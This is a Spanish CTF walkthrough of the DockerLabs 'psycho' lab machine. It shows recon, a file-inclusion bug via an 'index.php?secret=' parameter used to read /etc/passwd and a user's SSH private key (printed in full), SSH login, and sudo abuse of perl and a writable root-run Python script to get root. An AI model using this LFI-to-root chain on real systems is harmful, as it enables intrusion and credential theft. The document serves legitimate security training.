

Lo primero que hacemos es desplegar la máquina previamente descargada

```
> sudo bash auto_deploy.sh psycho.tar
[sudo] contraseña para kali:

      ##
    ## ##
  ## ## ##
NNN {NN NNNN NNN NNNN NN N} ===
    {NN NNNN NNN NNNN NN N} ===
      o
    {NN NNNN NNN NNNN NN N} ===
      }

DOCKEELABS

Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Realizamos un ping y comprobamos que nos estamos enfrentando a una máquina Linux ya que su ttl es 64.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.041 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.041/0.041/0.041/0.000 ms
```

Realizamos un escaneo de puertos con nmap y podemos ver que puertos y con que servicios están corriendo en esta máquina.

```
> cat target -l python -p
# Nmap 7.95 scan initiated Thu Jul 17 15:26:19 2025 as: /usr/lib/nmap/nmap --privileged -
sCV -p80,22 -oN target 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.000020s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 38:bb:36:a4:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)
|_ 256 a3:4e:4f:6f:76:f2:ba:50:c6:1a:54:40:95:9c:20:41 (ED25519)
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_ _http-server-header: Apache/2.4.58 (Ubuntu)
|_ _http-title: 4You
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 17 15:26:26 2025 -- 1 IP address (1 host up) scanned in 6.75 seconds
```

Utilizamos whatweb para identificar que tecnologías tiene la web.

```
> whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPS
erver[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Script, Title[4You]
```

Aplicamos una búsqueda de archivos y directorios con gobuster y encontramos un archivo php.

```
> gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,xml,json,css,md,txt,log,conf,ini,js,ts,sh,bak,old,backup,zip,tar,tar.gz,rar,7z,png,jpg,jpeg,gif,svg,webp,woff,woff2,ttf,eot,exe,bin,py,pl,rb,asp,aspx,pcap,pcapng -t 100

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: exe,xml,css,log,asp,pcap,htm,sh,jpg,webp,eot,bak,rar,ttf,py,jpeg,md,txt,ts,old,woff,woff2,bin,conf,ini,backup,tar.gz,aspx,7z,pl,rb,pcapng,js,tar,gif,svg,php,html,json,zip,png
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
./html (Status: 403) [Size: 275]
./php (Status: 403) [Size: 275]
./htm (Status: 403) [Size: 275]
/main.css (Status: 200) [Size: 619]
/index.php (Status: 200) [Size: 2596]
/assets (Status: 301) [Size: 309] [--> http://172.17.0.2/assets/]
```

A continuación, le realizamos wfuzz para identificar vulnerabilidades y realizando fuerza bruta.

```
> wfuzz -u "http://172.17.0.2/index.php?FUZZ=../../../../etc/passwd" -w /usr/share/SecLists/Discovery/Web-Content/big.txt --hc 404,301 --hw 169 -v
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against OpenSSL. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://172.17.0.2/index.php?FUZZ=../../../../etc/passwd
Total requests: 20478

=====
ID           C.Time      Response    Lines      Word        Chars      Server
  Redirect
=====
000016084:  0.009s      200         88 L        199 W       3870 Ch    Apache/2.4.58 (Ubuntu)
"secret"
```

Comprobamos que secret es la palabra que estábamos buscando y vemos que nos muestra el archivo passwd.

```
view-source:http://172.17.0.2/index.php?secret=/etc/passwd

<p class="lead">A home for people who strive to look, feel, and perform their very b
<a href="#" class="btn btn-primary mt-3">Book Your Visit</a>
</div>
</header>
<section class="about-section py-5">
  <div class="container text-center">
    <h2>Welcome to this CTF</h2>
    <p>Experience the ultimate in lorem and quiero un mundo de caramelo.</p>
  </div>
</section>
<footer class="bg-dark text-white text-center py-4">
  <div class="container">
    <p>©copy; 2024 @TLuisillo_o & DockerLabs</p>
  </div>
</footer>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>
</body>
</html>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/usr/sbin/nologin
vaxe1:x:1001:1001:::/home/vaxe1:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
luisillo:x:1002:1002::/home/luisillo:/bin/sh
```

Después de indagar un poco, descubrimos que podemos ver el archivo id\_rsa del usuario vaxe1.

```
view-source:http://172.17.0.2/index.php?secret=/home/vaxe1/.ssh/id_rsa

<div class="container">
  <p>©copy; 2024 @TLuisillo_o & DockerLabs</p>
</div>
</footer>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>
</body>
</html>

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Copiamos y pegamos en id\_rsa en un archivo de nuestra Kali y le ponemos de nombre id\_rsa.

```
> cat id_rsa -p
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Le damos los permisos necesarios.

```
> chmod 600 id_rsa
```

Nos conectamos a la máquina mediante ssh con el archivo id\_rsa que creamos anteriormente.

```
> ssh -i id_rsa vaxe@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU
* Documentation: https://help.
* Management: https://lands
* Support: https://ubunt
This system has been minimized b
not required on a system that us
To restore this content, you can
```

Una vez dentro lo primero que vemos es quienes somos y en qué grupo estamos.

```
vaxe@fdb43d935b21:~$ id
uid=1001(vaxe) gid=1001(vaxe) groups=1001(vaxe),100(users)
```

Vemos que hay en la carpeta de vaxe. Aparece un file.txt al que le echaremos un vistazo.

```
vaxe@fdb43d935b21:~$ ls -la
total 40
drwxr-x--- 1 vaxe vaxe 4096 Aug 10 2024 .
drwxr-xr-x 1 root root 4096 Aug 10 2024 ..
-rw-r--r-- 1 vaxe vaxe 1252 Aug 10 2024 .bash_history
-rw-r--r-- 1 vaxe vaxe 220 Aug 9 2024 .bash_logout
-rw-r--r-- 1 vaxe vaxe 3771 Aug 9 2024 .bashrc
drwx----- 2 vaxe vaxe 4096 Aug 10 2024 .cache
drwxrwxr-x 3 vaxe vaxe 4096 Aug 9 2024 .local
-rw-r--r-- 1 vaxe vaxe 807 Aug 9 2024 .profile
drwxr-x--- 2 vaxe vaxe 4096 Aug 10 2024 .ssh
-rw-r--r-- 1 root root 30 Aug 10 2024 file.txt
```

```
vaxeifdb43d935b21:~$ cat file.txt
kflksdfsad
asdsadsad
asdasd
```

Comprobamos con `sudo -l` que comandos podemos ejecutar con `sudo`, y como anteriormente en el `/etc/passwd` vimos que había un usuario llamado `luisillo` y otro `Ubuntu`, vamos a escalar privilegios aprovechando que tenemos el binario `perl` que nos puede dar una shell de `luisillo`.

```
vaxeifdb43d935b21:~$ sudo -l
Matching Defaults entries for vaxeifdb43d935b21 on fdb43d935b21:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:
    use_pty

User vaxeifdb43d935b21 may run the following commands on fdb43d935b21:
    (luisillo) NOPASSWD: /usr/bin/perl
```

Vemos en `GTFO` la shell que nos puede dar el binario `perl`

## Shell

It can be used to break out

```
perl -e 'exec "/bin/sh";'
```

Al realizar el comando ya estamos como el usuario `luisillo` y volvemos a ver quiéres somos y a qué grupo pertenecemos.

```
vaxeifdb43d935b21:~$ sudo -u luisillo perl -e 'exec "/bin/sh";'
$ id
uid=1002(luisillo) gid=1002(luisillo) groups=1002(luisillo)
$ bash -i
luisillo@fdb43d935b21:/home/vaxeifdb43d935b21$ |
```

Realizamos otros `sudo -l`, pero en esta ocasión con el usuario `luisillo` y vemos que tiene un archivo en `python3` que podemos ejecutar como `root` sin necesidad de proporcionar una contraseña.

```
luisillo@fdb43d935b21:/home$ sudo -l
Matching Defaults entries for luisillo on fdb43d935b21:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:
    use_pty

User luisillo may run the following commands on fdb43d935b21:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
```



Comprobamos que es lo que realiza el archivo paw.py y procedemos a comprobar si podemos modificarlo para de ese modo crearlos una shell con permisos de root.

```
luisillo@fdb43d935b21:/home$ cat /opt/paw.py
import subprocess
import os
import sys
import time

# F
def dummy_function(data):
    result = ""
    for char in data:
        result += char.upper() if char.islower() else char.lower()
    return result

# Código para ejecutar el script
os.system("echo Ojo Aqui")

# Simulación de procesamiento de datos
def data_processing():
    data = "This is some dummy data that needs to be processed."
    processed_data = dummy_function(data)
    print(f"Processed data: {processed_data}")

# Simulación de un cálculo inútil
def perform_useless_calculation():
    result = 0
    for i in range(1000000):
        result += i
    print(f"Useless calculation result: {result}")

def run_command():
    subprocess.run(['echo Hello!'], check=True)

def main():
    # Llamadas a funciones que no afectan el resultado final
    data_processing()
    perform_useless_calculation()

    # Comando real que se ejecuta
    run_command()

if __name__ == "__main__":
    main()
```

La carpeta opt nos permite leer, escribir y ejecutar. Por lo tanto podemos borrar el archivo paw.py y crear ese mismo para que ejecute una shell como root.

```
luisillo@fdb43d935b21:/home$ ls -la /
total 72
drwxr-xr-x  1 root root 4096 Jul 17 13:25 .
drwxr-xr-x  1 root root 4096 Jul 17 13:25 ..
-rwxr-xr-x  1 root root    0 Jul 17 13:25 .dockerenv
lrwxrwxrwx  1 root root    7 Apr 22  2024 bin
drwxr-xr-x  2 root root 4096 Apr 22  2024 boot
drwxr-xr-x  5 root root  340 Jul 17 13:25 dev
drwxr-xr-x  1 root root 4096 Jul 17 13:25 etc
drwxr-xr-x  1 root root 4096 Aug 10  2024 home
lrwxrwxrwx  1 root root    7 Apr 22  2024 lib
drwxr-xr-x  2 root root 4096 Oct  1  2023 lib64
lrwxrwxrwx  1 root root    9 Apr 22  2024 libfuzzer
drwxr-xr-x  2 root root 4096 Jun  5  2024 media
drwxr-xr-x  2 root root 4096 Jun  5  2024 mnt
drwxr-xrwx  1 root root 4096 Aug 10  2024 opt

luisillo@fdb43d935b21:/opt$ rm paw.py
rm: remove write-protected regular file 'paw.py'? yes
luisillo@fdb43d935b21:/opt$ ls -la
total 8
drwxr-xrwx 1 root root 4096 Jul 17 14:24 .
drwxr-xr-x 1 root root 4096 Jul 17 13:25 ..

luisillo@fdb43d935b21:/opt$ nano paw.py
luisillo@fdb43d935b21:/opt$ cat paw.py
import os
os.system("/bin/bash")
```

Al ejecutar con sudo el binario python3 y el archivo paw.py modificado por nosotros ya obtenemos una shell con root.

```
luisillo@fdb43d935b21:/opt$ sudo /usr/bin/python3 /opt/paw.py
root@fdb43d935b21:/opt# id
uid=0(root) gid=0(root) groups=0(root)
```